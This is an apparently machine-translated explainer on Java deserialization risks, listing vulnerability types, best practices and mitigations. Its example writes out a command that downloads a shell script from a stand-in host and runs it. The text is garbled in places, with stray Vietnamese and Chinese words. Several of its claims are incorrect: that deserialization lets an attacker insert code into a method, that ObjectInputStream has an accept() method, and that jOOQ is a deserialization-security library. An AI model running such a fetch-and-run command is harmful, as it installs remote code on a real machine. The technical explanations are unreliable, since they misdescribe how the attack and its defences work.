Is Java serialization safe?

Java serialization security

Introduction

Java serialization is a method of converting objects A byte stream for storage or transmission. While serialization is useful in many situations, it also has security vulnerabilities that allow an attacker to execute malicious code within a serialized object.

Serialization Vulnerability Type

• Deserialization Injection: An attacker can modify the serialized object to inject during deserialization Malicious class or method.
• Exploitable gadgets: A malicious class can use public methods in a Java class library to perform unauthorized operations.
• Remote Code Execution (RCE): An attacker can execute arbitrary code on the server by injecting a malicious payload through deserialization.

Security Practices

To ensure the security of Java serialization, it is important to follow the following best practices:

• Restrict deserialization: Only deserialize serialized objects from trusted sources.
• Use a whitelist: Only allow deserialization of classes known to be safe.
• Verify serialized content: Verify object integrity and signature before deserialization.
• Use a trusted deserialization library: Use a specially designed library, such as jOOQ or FasterXML Jackson, that implements deserialization security measures.

Practical Case

Let us consider a simple practical case to demonstrate the Java serialization vulnerability. We have a UserService class which contains a getUsers() method which returns all users. If attackers have control over the UserService's serialized object, they can use phản serialization injection to modify the object to inject a reference to a malicious class. For example, an attacker can add the following code in the getUsers() method:

// 恶意代码
Runtime.getRuntime().exec("wget http://example.com/malware.sh && sh malware.sh");

When the serialized object is deserialized, this malicious code will be executed.

Mitigation measures

To mitigate this vulnerability, we can take the following measures:

• Use an appropriate whitelist to limit deserialization Allowed classes.
• Use the accept() method of ObjectInputStream to only accept expected classes.
• Consider using signing or encryption to protect serialized objects.

Conclusion

Java serialization is a powerful tool, but it can also present security risks. By following best practices and implementing security mitigations, we can keep serialization secure and prevent malicious users from exploiting serialization vulnerabilities.

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